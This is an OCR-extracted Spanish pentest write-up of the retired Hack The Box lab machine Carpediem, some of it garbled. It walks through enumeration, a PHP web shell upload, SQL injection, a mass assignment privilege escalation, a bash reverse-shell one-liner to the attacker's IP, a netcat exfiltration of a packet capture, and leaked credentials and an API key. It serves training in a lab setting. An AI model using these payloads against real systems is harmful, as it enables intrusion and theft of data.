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PEN-TESTING LABS

1. Antecedentes

El presente documento recoge los resultados obtenidos durante la fase de auditoria realizada a la maquina
Carpediem de la plataforma Hackthebox.

RELEASE DATE DIFFICULTY MACHINE STATE
25 Jun 2022 Retired

Figura 1: Detalles de la maquina

Figura 2: Detalles de la maquina

Direccién URL

https://www.hackthebox.com/home/machines/profile/478
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2. Objetivos

Conocer el estado de seguridad del servidor Carpediem, enumerando posibles vectores de explotacién y deter-
minando el alcance e impacto que un atacante podria ocasionar sobre el sistema en produccion.

2.1. Conocimientos Requeridos 2.2. Habilidades Aprendidas
= Web enumeration = Using VoIP clients
= Basis Linux Knowledge = Decrypting TLS-encrypted traffic
= Basic Docker knowledge = Container breakout via CVE-2022-0492

3. Técnicas

A continuacion se representan las técnicas tocadas en esta maquina Carpediem:

1. Web Enumeration 9. Making a call from Zoiper to obtain access cre-

2. Parameter Fuzzing with Wfuzz dentials

10. Abusing Capabilities (tcpdump)
11. Abusing Weak Cipher Suite

3. Mass Assignment Attack

Note: Giving admin privileges to our user

4. Creating a HTML form 12. Importing the certificate into Wireshark and
decrypting traffic
Note: with OpenAl in order to exploit file

uploading 13. Backdrop Enumeration / Backdrop Ex-

ploitation

5. Information Leakage .
14. Abusing Backdrop

Note: Reading sensitive files with hardcoded

passwords Note: Installing new module
6. Trudesk API Enumeration 15. Abusing a cron job on a container
7. Trudesk API Enumeration Note: Container priviledge escalation
Note: Finding valid tickets + Xargs tip (Fast 16. Abusing CVE-2022-0492

ticket discovery) Note: (Container escape via Cgroups) Privi-

8. Setting up Zoiper ledge Escalation

Explotacién de vulnerabilidades

Deteccién de vulnerabilidades

Reconocimiento sobre el sistema,

Figura 3: Flujo de trabajo
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4. Analisis de vulnerabilidades
4.1. Reconocimiento inicial

Se comenzé realizando un analisis inicial sobre el sistema, verificando que el sistema objetivo se encontrara
accesible desde el segmento de red en el que se opera.

fhome/._ /Escritorio/HTB/CarpediemHTB/nmap
1 18.1@.11.167
PING 108.1@.11.
64 bytes from

Figura 4: Reconocimiento inicial sobre el sistema objetivo

fusr/bin
whichSystem.py 10.10.11.167

18.18.11.167 (ttl 63): Linux

Figura 5: Reconocimiento inicial sobre el sistema objetivo

Una vez localizado, se realizé un escaneo a través de la herramienta nmap para la deteccién de puertos abiertos,
obteniendo los siguientes resultados:

nmap -p- —open -sS —min-rate 5000 -vvv -n -Pn 10.10.11.167 -oG allPorts ]

/home/../Escritorio/HTB/CarpediemHTE/nmap
5 1 5008 -vvv -Pn 10.18.11.167 -oG allPorts

and scan tim

l ports)
Nmap scan report ftor
Host is wp,
Scanned at 4
Not shown: 3 d tcp ports
CE REASON

zead d: ile rom: Jusr/bin/../sha nmap
Nmap done: addre (1 ) nned in 11.11 s
W p: ; i 4MB ) Rcwd:

Figura 6: Reconocimiento con nmap
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Asimismo, con el objetivo de realizar un reconomiento méas exhaustivo sobre estos puertos:

__TCP
Puertos

22,80

Se busca scripts [-sC] y se detecta el servicio y la version [-sV] para ampliar més informacién.

[ nmap -sC -sV -p22,80 10.10.11.167 -oNN targeted -oX targeted XML ]

' | 122,80 18.10.11.167 -oN targeted
ing Nmap 7.93 ( https://nmap.org ) at 2@22-12-22
an report for 10.1@.11.167
is up (@.041s latency).

L oW

I
(=]

PORT STATE SERVICE VERSION
22/ open ssh OpenSSH &.2pl Ubuntu 4ubuntu®.5 (Ubuntu Linux; protocol

(RSA)

@& (ECDSA)
. i64F (ED25519)
. nginx 1.18.8 (Ubuntu)
| _http-server-header: nginx/1.18.0 (Ubuntu)
http-title: Comming Soon
Service Info: 05: Linux; CPE: cpe:/o:linux:linux_kernel

Figura 7: Enumeracion de servicios y versiones

— Versién
22/ OpenSSHS8,2p1 Ubuntudubuntu0,5

80/nginz1,18,0

Con estas dos versiones se podra comprobar el codename de la version de ubuntu
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Tal y como se aprecia en la figura 7 de la pagina 5, es posible identificar:

Uploaded teo:

OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 launchpad Focal nginx 1.18.0 launchpad

(a) Launchpad (b) Focal (c) Hirsute

Figura 8: Codename

Al tener un codename distinto, puede que esto indique que haya algun contenedor desplegado.

Asimismo, si se consigue comprometer el servicio http no sera de la maquina real. Con esto se procede a extraer
informacién acerca de los gestores de contenido que tiene el servicio web (whatweb).

whatweb http://10.10.11.167

/home/../Escritorio/HTB/CarpediemHTB/nmap
http://10.10.11.167
[200 OK] Bootstrap[4.1.3], Country[RESERVED][ ], HTML5, HTT

PServer|[ 10 ], IP[10.10.11.167], Meta-Author[Pawe
1 Zuchowski], Script[text/javascript], Title[Comming Soon], X-UA-Compatible[ie=e
dge], nginx[1.18.0]

Figura 9: WhatWeb

364 days
Carpediem.htb

(0)c] hours COMING SOON

Lorem, ipsum dolor sit amet consectetur adipisicing elit. Maxime consequuntur delectus asperiores tempora autem laboriosam omnis.

10 minutes
1 1 seconds

YyBOGOOO2m

Figura 10: 10.10.11.167:80
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Carpediem.htb
COMING SOON

Figura 11: dominio

Con la pista de un posible dominio como se muestra en la figura 11 de la pagina 7.

Se modifica el archivo /etc/hosts de el sistema, para que la maquina sepa resolver a ese dominio.

[R7.0.0.1 localhost
127.98.1.1 kali

7Rl localhost ip6-localhost 1p6-loopback
ff@2::1 ip6-allnodes
ffp2::2 ip6-allrouter

10.10.11.167 carpediem.htb

Figura 12: nvim hosts

Ahora nos permite mandar ping a carpediem.htb, y acceder a la direccién:

http://carpediem.htb ]

ping -c 1 carpediem.htb
PING carpediem.htb (10.10.11.167) 56(84) bytes of data.
64 bytes from carpediem.htb (10.10.11.167): icmp_seq=1 ttl=63 time=136 ms

--- carpediem.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt min/avg/max/mdev = 136.383/136.383/136.383/0.000 ms

Figura 13: ping
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4.2. Parameter Fuzzing

Se procede a enumerar los subdominios que posee carpediem.htb empleando la herramienta wfuzz y para
ello, usando la List-Types de Daniel Miessler.

wfuzz -c —hh=2875 —hc=404 -t 200 -w /home/juan/Seclists/Discovery /DNS/subdomains-
toplmillion-5000.txt -H ”Host: FUZZ.carpediem.htb”http://carpediem.htb

wf -c --h 04 -t 200 home/juan/SecLists/Discovery/DNS/subdomains-topimillion-5000.txt -H ar m.htb” http://carpediem.htb
Jusr/1lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
Fkkkkkkkkkhkkkhkkkkkkkkkkhkkkkkkhkkkkkikhhkkkkkkhkkkhkkkhkkk
* Wfuzz 3.1.0 - The Web Fuzzer *
dededededeodedeodedeokode dedeodeode dodeoke dedeodededokeode dedeokodedeokok deokokodedeokok dekokodedokoke dekeok dedok e deokeok

Target: http://carpediem.htb/
Total requests: 4989

Response  Lines Chars Payload

000BO004E: 200 2174 W 31090 ch “portal”

Total time: @

Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Figura 14: Wfuzz

Se repite el paso anterior modificando el /etc/hostsesta vez, afiadiendo portal.carpediem.htb.

Se accede ahora hacia:

http://portal.carpediem.htb

Mostrandose la web Motorcycle Store Portal.

KaliLinux @ Kali Tools @ KaliDocs N KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec
Font scripts JavaScript libraries

& JQuery,
Web servers

Q1 ul
© Noinx 1150 Jauery UL

@ Momentjs

JavaScript graphics
SweetAlert2
»  Chart)s 7s%sure

Reverse proxies
Programming languages

Motorcycle Store Portal ~ ot v

Operating systems

© Nginx 1180

Ul frameworks
& Bootstrap 4
@ Ubuntu

Generate sales leads

Figura 15: Motorcycle Store Portal

Una vez més, analizamos mediante Wappalyzer y encontramos que como lenguaje se encuentra php para asi
poder directamente fuzzear extensiones .php.
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Ahora, utilizando la herramienta BurpSuite para interceptar la peticién que se genera al crear un nuevo usuario
en el login de esta web.

Raw Hex = n =

POST /classes/Master.php?f=register HTTP/1.1

Host: portal.carpediem.hth

User-Agent: Mozilla/5.0 (®11: Linux x86_64: rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/ison, text/javascript, #/%; g=0.01

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Reguested-With: XMLHttpRequest

Content-Length: 94

10 Origin: http://portal.carpediem.htb

11 Connection: close

12 Referer: http://portal.carpediem.hth/

13 Cookie: PHPSESSID=65471b9d4f06ba0lasldld252d293563

14

15 firstname=juan&lastname=juan&contact=juan&gender=Malefaddress=juan&username=juan&password=juan

1
4
5

Figura 16: Burpsuite

Se observa que se remite al directorio /classes que no se ha encontrado previamente.

Se manda esta peticién al repeater de BurpSuite para un posible posterior uso y se procede a realizar un
fuzzing de portal.carpediem.htb/classes buscando por extensién .php, ahora con la herramienta gobuster.

gobuster dir -u http://portal.carpediem.htb/classes -w ../SecLists/Discovery/Web-
Content /directory-list-2.3-small.txt -t 200 -x php

i fhome/juan/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t 200 -x php
Gobuster v3.4
by 01 Reeves (gTheColonial) & Christian Mehlmauer (g@firefart)
url al.carpediem.htb/classes
Method:
Threads:
Wordlist: /home/juan/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
Negative Status codes: 404
User Agent: gobuster/3.4
Extensions: php
Timeou 10s

/Login.php
/Users.php
/Master.php
Progress: 175328 / 175330 (

Figura 17: Gobuster

Con /Users.php se utiliza de nuevo la herramientea wfuzz para ver si se puede sacar alguna funcién o algo
mas que tenga relevancia.

wfuzz -c —hh=0 —hc=404 -t 200 -w ../SecLists/Discovery/Web-content /discovery-list-2.3-
medium.txt ”http://portal.carpediem.htb/classes/Users.php?f=FUZZ”

Se ha averiguado la funcién Upload para Users.php.
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4.3. Creating a HTML form

Llegados a este punto se crea en el equipo atacante un formulario en HTML para la subida de archivos y
se monta en el servidor web,se intercepta y se analiza mediante BurpSuite, con el objetivo de generar un
LFI(Local File Inclusion) posterior con la peticién interceptada que se mantiene en el repeater de Burpsuite
(figura 16 de la pagina 9).

<form action="/upload_file" method="post" enctype="multipart/form-data">
<input type="file" name="my_file"/>

<input type="submit" value="Subir archivo"/>

</form>

python3 -m http.server 80 ]
O D localhost ¢ QO [ localhost
KaliLinux # KaliTools # KaliDocs X Kali Forums X Kali Net| KaliLinux #8 KaliTools # KaliDocs ¥ KaliForums e Kali NetH
. . - | Browse... | Mo file selected. |Suhirar(hivu |
Directory listing for /
« credentials.txt
« Dump/
+ modules/
» tecnicas Carpediem.txt
+ upload.html
(a) Localhost (b) Upload

Figura 18: HTML Form

Se intercepta la peticién y se anade parte de su contenido en la peticion que tenemos en el repeater con el
objetivo de subir un archivo y ejecutar un LFI, tal y como se aprecia en la figura 19 y 20 de la pédgina 11.
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4.4.

Deteccion de vulnerabilidades

I:I = =
Request Response
Pratty Raw Hex n = Pretty Raw Hex Render n =
1 POST /classes/Users.php?f=upload HTTR/1.1 1 HTTR/1.1 200 OK
2 Host: portal.carpediem.hth 2 Server: nginx/1.18.0 (Ubuntu)
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 S Date: Fri, 30 Dec 2022 13:35:42 GMT
4 Accept: application/json, text/javascript, */%; g=0.01 4 Content-Type: text/html; charset=UTF-8
S Accept-lLanguage: en-US,en;g=0.5 S Connection: close
& Accept-Encoding: gzip, deflate & ®-Powered-By: PHP/7.4.25

¥-Requested-With: XMLHttpRequest
Content-Length: 259

[+1]
m

S Origin: http://portal.carpediem.htb
O DNT: 1 9
1 Connection: close 10
2 Referer: http://portal.carpediem.hth/ 11
= Cookie: PHPSESSID=65471b9d4focbatlacldld252d293563 12
4 Sec-GPC: 1
S Content-Type: multipart/form-data;
boundary=----------------cooonoo 37220330027347124479243426
[
T e 37220330027347124479243426
S Content-Disposition: form-data; name="file upload"; filename="Kaizen.md"
9 Content-Type: text/markdown
o
1 #kaizen
i KAI= Cambio
ZEMN= Bueno

37220330027347124479243426- -

Figura 19: Upload

Expires: Thu,
Cache-Control:
must-revalidate
Pragma: no-cache
Content-Length: 52

19 MNov 1981 08:52:00 GMT
no-store, no-cache,

2 {"success": "up'Loads\f16?240?300_Kaizen.mdl

uploaded"}

Cuando se sabe que se subir archivos enviando esta peticion en el repeater de Burpsuite, se cambia el contenido
por este script en php.

<?php
echo "<pre>" . shell_exec($_REQUEST[’cmd’]) "</pre>";
7>
Request
tt Raw Hex \n

POST /classes/Users,php?f=upload HTTP/1.1

> Host: portal.carpediem.htb
5 User-Agent: MozillasS.0 (X11; Linux x86_64; rv:102.0) Gecko/201001C1 Firefox/102.0

» Accept -Language:

Accept: application/json, text/javascript,
en-Us,en;g=0.5

®f¥; g=0,01

5 Accept-Encoding: gzip., deflate

¥-Reguested-With: XMLHttpRequest
Content-Length: 295

9 Origin: http://portal.carpediem.hth

2 Referer:
5 Cookie:

=g,

DNT: 1
Connection: close

http://portal .carpediem.hth/
PHPSESSID=efd5124ec7a974ch9ef57752b34ac30d

Sec-GPC: 1
5 Conmtent-Type:

multipart/form-data; boundary=------------------------ 115453726830437673733486637918
116453726830437673733486637918

Content -Disposition: form-data; name="file_upload"; filename="upload.php"

Content -Type: text/plain

=?php

echo "=pre=" shell_exec($_REQUEST[ 'cmd']) "efpre=";

116453726830437673733486637918- -

Figura 20: Upload.php

11

Response -

= Pretty Raw W o=
1 HTTR/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)

Date: Thu, 12 Jan 2023
21:34:43 GMT
Conmtent -Type:
charset=UTF-8
Connection: close
¥X-Powered-By: PHP/7.4.25
Expires: Thu, 19 Mov 13981
08:52:00 GMT
Cache-Control: no-store,
no-cache, must-revalidate
Pragma: no-cache
Content-Length: 53

s

text/html;

@

@

10
11
12 {"success": "uploads\ /167355824
0_upload.php| uploaded"}
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Como se puede ver, debido a la inclusién de este script, se pueden ejecutar comandos en la cmd de Carpediem.

Se puede ver que la ip no pertenece a la maquina objetivo, por tanto estamos ante un contenedor.

() C carpediem.htb

#& KaliTools # KaliDocs & Kali Forums X Kali NetHunter oit-DB Google Hacking DB

Figura 21: whoami

O & carpediem.htb

KaliLinux #8 KaliTools @ KaliDocs & Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

172.17.0.6

(a) hostname -I

O & carpediem.htb

KaliLinux #8 KaliTools # KaliDocs & Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

51 local_address rem address st tx queue rx_queve tr tm->when retrnsmt uid timeout inode

10000 8A 00: 2] 0 38972 1 0000000000000000 100 0 @ 10
1 BGGDHAC 0050 810011AC:D824 81 03900039 00000000 02:000AFCTF 00000000 33 0 10013450 2 0000000000000000 20 4 30

(b) /proc/met/tcp
/home/.../Escritorio/HTB/CarpediemHTB/nmap
10 "S((@xAC)). S((@x11)).5((0x00)). 5 ((8x06))"

172.17.0.6

(c) Hexadecimal

Figura 22: LFI
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5. Explotacion de vulnerabilidades

5.1. Mass Assigment Attack

Si vamos al perfil previamente creado como se muestra en la pagina 9, exite la posibilidad de actualizar/modificar
ciertos parametros, se intercepta esa peticién y se muestra la siguiente informacién.

o=«
Request Response
Raw Hex n = Pretty Raw Hex Render no =
1 POST /fclasses/Master.php?f=update_account HTTP/1.1 HTTP/1.1 200 OK

Host: portal.carpediem.hth
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:102.0] Gecko/20100101
Firefox/102.0

[¥]

Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 30 Dec 2022 22:59:42 GMT
Content -Type: text/htnl; charset=UTF-8

w

I B W

4 Accept: application/json, text/javascript. */%; g=0.01 Connection: close

S Accept-Language: en-US,en;g=0.5 X-Powered-By: PHP/7.4 25

5 Accept-Encoding: gzip, deflate 7 Expires: Thu, 19 MNov 1981 08:52:00 GMT

7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 & Cache-Control: no-store, no-cache, must-revalidate
2 ¥-Requested-with: XMLHttpRequest S Pragma: no-cache

2 Content-Length: 113 10 Content-Length: 20

10 Origin: http://portal.carpediem.hth 11

11 Connection: close 12 {"status":"success"}

12 Referer: http://portal.carpediemn.htbh/?p=edit_account

13 Cookie: PHPSESSID=65471b9d4f06ba0lacldld252d293563

14

15 id=25&login_type=2&firstname=juan&lastname=juan&contact=juan&gender=
Male&address=juan&usernane=juan&password=juan

Figura 23: update-account

5.1.1. Gobuster

Se fuzzea portal.carpediem.htb con la intencién de encontrar algun directorio administrativo.

http://portal.carpediem.htb
Method: GET
Threads: 200
Wordlist: /home/ juan/SecLists/Discovery/Web-Content/directory-1ist-2.3-medium. txt
Negative Status codes: 404
User Agent: gobuster/3.4
Extensions: php
Timeout:

31:80 Starting

: 5260]
: 31000]

: 2963]
418]
: 330]
: 328]
atus: : 329]

/registration.php ) ize: 4564]
/plugins atus ize: 330]

5t ize: 0]

: 330]

/my_account.php

/libs

/bikes.php

/server-status a
441120 / 441122 (

Figura 24: /admin

Se intenta entrar a portal.carpediem.htb/admin pero el acceso es denegado.
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5.

1.2. Explotacién Mass Assignment Attack

Se aplica una inyeccion SQL a la peticién que se tiene en el repeater de Burpsuite. La informacién en la base
de datos es devuelta, junto al parametro logintype=2 que se encontré en la figura 23. Ejecutamos un Mass
Assignment Attack con la creacién de un nuevo usuario y anadiendo un logintype=1.

Request

W

Raw Hex n

POST fclasses/Master.php?f=register HTTP/1.1

Host: portal.carpediem.htb

User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:102.0) Gecko/20100101
Firefox/102.0

==
Response
Pretty Raw Hex Render no =
1 HTTR/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
S Date: Fri, 30 Dec 2022 22:59:54 GMT
4 Content-Type: text/html; charset=UTF-8
S Content-Length: 401
6 Connection: close

¥-Powered-By: PHP/7.4 25

Expires: Thu, 19 Mov 1981 G8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

10 Pragma: no-cache

11 Vary: Accept-Encoding

1z

15 {"status":"failed","err":"You have an error in your SOL syntax;
check the manual that corresponds to your MySOL server wversion for
the right syntax to use near 'a94652aa97c7211baB554dd15a3cf838'" at
line 1[IMNSERT INTO “users ™ set “firstname ='juan' ,

“lastname "="juan’ “contact '='juan' , “gender’='Male’' ,

“address ='juan' , “username’='juan'' , “password’ =
'a946523a97c7211baB954dd15a3cfE38 |}

g

Figura 25: SQLI

4 Accept: application/json, text/javascript, */%; g=0.01
5 Accept-Language: en-US,en;g=0.5
5 Accept-Encoding: gzip., deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 X-Requested-With: XMLHttpRequest
9 Content-Length: 95
10 Origin: http://portal.carpediem.hth
11 Connection: close
12 Referer: http://portal.carpedien.hth/
13 Cookie: PHPSESSID=55471bSd4f06badlacldld252d293563
14
15 firstname=juzan&lastname=juan&contact=juan&gender=Male&address=juan&
username=juan'hpassword=juan
Request
Raw Hex n =
1 POST /classes/Master.php?f=register HTTP/1.1
2 Host: portal.carpediem.hth
3 User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
4 Accept: application/json, text/javascript, #/#%; g=0.01
5 Accept-Language: en-US,en;q=0.5
5 Accept-Enceding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 ¥-Requested-With: XMLHttpRequest
2 Content-Length: 108
10 Origin: http://portal.carpediem.hth
11 Connection: close
12 Referer: http://portal.carpediem.hth/
13 Cookie: PHPSESSIC=55471b9d4foebadlacldld252d293563
14
15 firstname=juzn&lastname=juan&contact=juan&gender=Malefaddress=juan&

username=j uanp&passwo rd=juan&login_type=1

o= =
Response
Pretty Raw Hex Render n =
1 HTTR/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Date: Fri, 30 Dec 2022 23:02:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

¥X-Powered-By: PHP/7.4 25

Expires: Thu, 19 Mov 1981 08:52:00 GMT
2 Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

10 Content-Length: 20

11

12 {"status":"success"}

SN T IS

w

Figura 26: Mass Assignment Attack

Figura 27: Admin-Panel

Como se puede apreciar, ahora el nuevo usuario juan2 es administrador.
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6. Reverse shell

Continuando con el script php, se va a entablar una reverse shell que permita el acceso a este contenedor. Se
pone el puerto 443 en modo escucha.

[ nc -nlvp 443 ]

/home/.../Escritorio/HTB/CarpediemHTB/nmap

nc -nlvp 443
istening on [any] 443 ...

Figura 28: netcat

cmd=bash -c ”bash —i > & /dev/tcp/10.10.16.2/443 0 > &1” ]

carpediem.htb

Figura 29: Oneliner

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.167] 51608
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-datag3c371615b7aa: /var/www/html/portal/uploads$ whoami
whoami

www-data

www-datag3c371615b7aa;: /var/www/html/portal/uploads$ script /dev/null -c bash
script /dev/null -c bash

Script started, output log file is '/dev/null’.

www-datag3c371615b7aa: /var/www/html/portal/uploads$ "Z

zsh: suspended nc -nlvp 443

Figura 30: Reverse-shell
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7. Trudesk ticketing

wwwi-datag3c371615b7aa: /var/www/html/portal/uploads$ hostname -I

172.17.0.6

wwwi-datag3c371615b7aa: /var/www/html/portal/uploads$ ping -c 1 172.17.0.6

PING 172.17.0.6 (172.17.8.6): 56 data bytes

64 bytes from 172.17.0.6: icmp_seq=0 ttl=64 time=0.110 ms

--- 172.17.0.6 ping statistics ---

1 packets transmitted, 1 packets received, @% packet loss

round-trip min/avg/max/stddev =

0.110/0.110/0.110/0.000 ms

wwwi-datag3c371615b7aa: /var/www/html/portal/uploads$ ping -c 1 172.17.0.5

PING 172.17.0.5 (172.17.8.5): 56 data bytes

64 bytes from 172.17.0.5: icmp_seq=0 ttl=64 time=0.227 ms

--- 172.17.0.5 ping statistics ---

1 packets transmitted, 1 packets received, @% packet loss

round-trip min/avg/max/stddev =

0.227/0.227/0.227/0.000 ms

wwwi-datag3c371615b7aa: /var/www/html/portal/uploads$ ping -c 1 172.17.0.4

PING 172.17.0.4 (172.17.0.4): 56 data bytes

64 bytes from 172.17.0.4: icmp_seq=0 ttl=64 time=0.206 ms

--- 172.17.0.4 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.206/0.206/0.206/0.000 ms
www-datag3c371615b7aa: /var/www/html/portal/uploads$ [

Figura 31: pingcontainer

Una vez dentro, se examinan los archivos del sistema.

uvvi-datam3c371615b7aa: /var/www/html/portal$ cat config.php
<?php

ob_start();

ini_set('date.timezone’,'Asia/Manila');
date_default_timezone_set('Asia/Manila');

session_start();

require_once('initialize.php');

require _once( ' ETY S TITECINTY );
require_once( ' classes/SystemSettings.php');
$db = new DBConnection;

$conn = $db->conn;

(a) archivos
uwii-datag3c371615b7aa: /var /www/html/portal$ cat classes/DBConnection.php

<?php
if(1defined( ' DB_SERVER')){
require_once("../initialize.php");

class DBConnection{

private $host = 'mysql’;

private $username = 'portaldb’;
private $password = 'JI5tngsXpyzkK&XNt';
private $database = 'portal’;

(c) DBconnection

(b) config.php

uwi-datan3c371615b7aa: /var/wmi/html/portal/classes$ cat Trudesk.php
<?php
class TrudeskConnection{

private $host = 'trudesk.carpediem.htb';

private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcck’;
private $usernam
private $password =
private $database =

vc-portal-tickets';

(d) Trudesk

Figura 32: Archivos-sistema
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Se encuenta Trudesk, se encuentran también, una apikey y un subdomino el cual anadimos a /etc/hosts.

[ trudesk.carpediem.htb ]

trudesk.

Lsername

Password

LOGIN

Figura 33: Trudesk-login

Viendo la documentacién de trudesk se aprecia que reutilizando el accesstoken, se puede recoger informacién,
en este caso la méas importante son los tickets, mediante xargs y aplicando una secuencia se puede sacar los
resultados que interesan.

seq 1 2000 | xargs -P50 -I {} curl -s -X GET http://trudesk.carpediem.htb/api/v1/tickets/{}
-H ”accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4” | jq | grep -vE ”false|Invalid
Ticket|{|}”

1 2000 GET http://trudesk.carpediem.htb/api/v1/tickets/

Figura 34: xargs
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PEN-TESTING LABS

De todo el output de la anterior secuencia se filtra (grep) por la palabra comment, se encuentran los ultimos 4
digitos del ID del empleado horace flaccus y el procedimiento para el login del software Zoiper junto al PIN,
con el cual se consigue una contrasena.

8691bd2 fffcca” | jq | grep comment

think Joey is out this week, but I can take care of this. Whats the last 4 digits of his employee ID so I can get his extension set up in the VoIP system?</p>\n"
>Last 4 of employee ID is 9650.</p>\n"

e *: "<p>Thank you! He&#39;s all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I&#39;11 leave him a voicemail with his initial credentials for server access. His
phone pin code will be 2022 and to get into voicemail he can dial *62</p>\n<p>Also...let him know that if he wants to use a desktop soft phone that wes#39;ve been testing Zoiper with some of our end users.</p>\n<p>Changing the status of t
his ticket to p i 9;s been set up and changes his initial credentials.</p>\n"

*action! : added" ,

*action”: " : :added”,

*action”: "ticket: :added”,

Figura 35: comments

Online Fav

Click here to add a new contact

=

Figura 36: Zoiper

Figura 37: Password

Se prueba la contrasena en ssh para el usuario/nuevo empleado Horace Flaccus.

hflaccusgcarpediem:~$ 1s

user.txt

hflaccusacarpediem:~$ cat user.txt
891d0c2182761d22aa4b1f450acbbc65

hﬂaccusalﬂ .10.11.167 hflaccusgcarpediem:~$ id

hﬂaccusq‘m .10.11.167's passwnrd : |:| uid=wﬂa(-hﬂa?ct_|§) gid=100@(hflaccus) groups=10@e(hflaccus)
hflaccusgcarpediem: ~$ |:|

(a) ssh (b) User.txt

Figura 38: Flag
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PEN-T ING LA

8. Abusing Capabilities (tcpdump)

Una vez dentro de la maquina, se investigan las capabilities de manera recursiva desde la raiz. se encuentra
tcpdump que permite capturar trafico.

getcap -r / 2>/dev/null

hflaccuspcarpediem:/$ getcap -r / 2>/dev/null
Jusr/bin/ping = cap_net_raw+ep
fusr/bin/mtr-packet = cap_net_raw+ep

/usr/bin/traceroute6.iputils = cap_net_raw+ep
Jusr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
Jusr/1ib/x86_64-1linux-gnu/gstreamerl.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Figura 39: tcpdump

Se aprecian otros puertos que no se habian encontrado en enumeraciones anteriores, haciendo uso de curl, se
encuentra un nuevo subdominio llamado backdrop.carpediem.htb. Mediante dynamic port forwarding en ssh
y se aplica conexiones tipo socks para llegar al puerto :8002.

hflaccusacarpediem:
State

LISTEN

LISTEN

LISTEN

LISTEN

Local Address:Port
127.0.0.1:8000
127.0.0.1:8001
127.0.0.1:8002
127.0.0.1:5038

180
153
122

=
1]
(3]
=

oo oo

Figura 40: Puertos-abiertos

hflaccus@carpediem: /$ curl https://localhost:8002 -k
<!DOCTYPE html>
<html lang="en" dir="1ltr">
<head>
<meta charset="utf-8" />

<link rel="shortcut icon" href="https://localhost:8002/core/misc/favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="alternate" type="application/rss+xml" title="Home page feed" href="https://localhost:8002/?q=rss.xml" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="Generator" content="Backdrop CMS 1 (https://backdropcms.org)" />

<title>Home | backdrop.carpediem.htb</title>

Figura 41: Backdrop
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hflaccusacarpediem:/$

ssh> -D 1080 Lsof -1:1080

R . PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

Forwarding port. 49211 root  7u IPV6 344224 0te TCP localhost:socks (LISTEN)
ﬁgzil root 8u IPv4 344225 @t@ TCP localhost:socks (LISTEN)

(a) -D 1080 (b) 1sof

Figura 42: Forwarding-Port

Se abre ahora la conexién tipo sock mediante el plugin FoxyProxy.

15;@ Edit Proxy Proxy 1080

—

Title or Description (optional) Proxy Type

Color Proxy IP address or DNS name
#66ccb6

Send DNS through SOCKS5 proxy Port

I learnama fantinnall

Figura 43: FoxyProxy

Toda peticién web ird a traves de este puerto que se acaba de abrir 1080, ahora se puede llegar a este puerto
que es de interés, ahora podemos pasar por el dynamic port forwanding estableciendo este puerto a nuestra
maquina.

https://localhost:8002 ]

&) QO & localhost bk

KaliLinux # KaliTools # KaliDocs M KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

backdrop.carpediem.htb Login

Home About

Welcome to
backdrop.carpediem.ht
b!

Figura 44: Backdrop
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9. Abusing Weak Cipher Suite

Se utiliza tcpdump para capturar trafico existente en la interfaz dockerQ aprovechando el privilegio tcpdump
(figura 39 de la pagina 19) del usuario.

tcpdump -i dockerO -w Captura.cap -v

443 > captura.
[Eny] 443 ...
connect to [10+10.16.2] from (UNKnOWN) [10.10.11.167] 59684

=
listening on

(a) 10.10.16.2
hflaccusacarpediem: $ file captura.cap
captura.cap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Etherne
t, capture length 262144)

hflaccusacarpediem: $ nc 10.10.16.2 443 < caTura.cap
¢
hflaccusacarpediem: $ md5sum Captura.ca[ﬂ

(b) 10.10.11.167

Figura 45: Captura.cap

Se puede analizar esta traza de trafico mediante la herramienta wireshark.

captura.cap

Archivo Edicién Visualizacién Ir Captura Analizar Estadisticas Telefonfa Wireless Heramientas Ayuda

r' 8 W< = Q@i 3

<+
Protocol Lengtt Info J—
S 370 Continuation Data
TCP 66 38504 _ 27017 [ACK] Seq=1 Ack=385 Win=6145 Len=0 1Sval=2209884050 1Secr=2798294813
SSL 121 Continuation Data
SSL 370 Continuation Data
TP 66 38646 - 27017 [ACK] Seq=56 Ack=305 Win=6146 Len=0 TSval=2200809104 TSecr=2790299867
ssL 370 Continuation Data
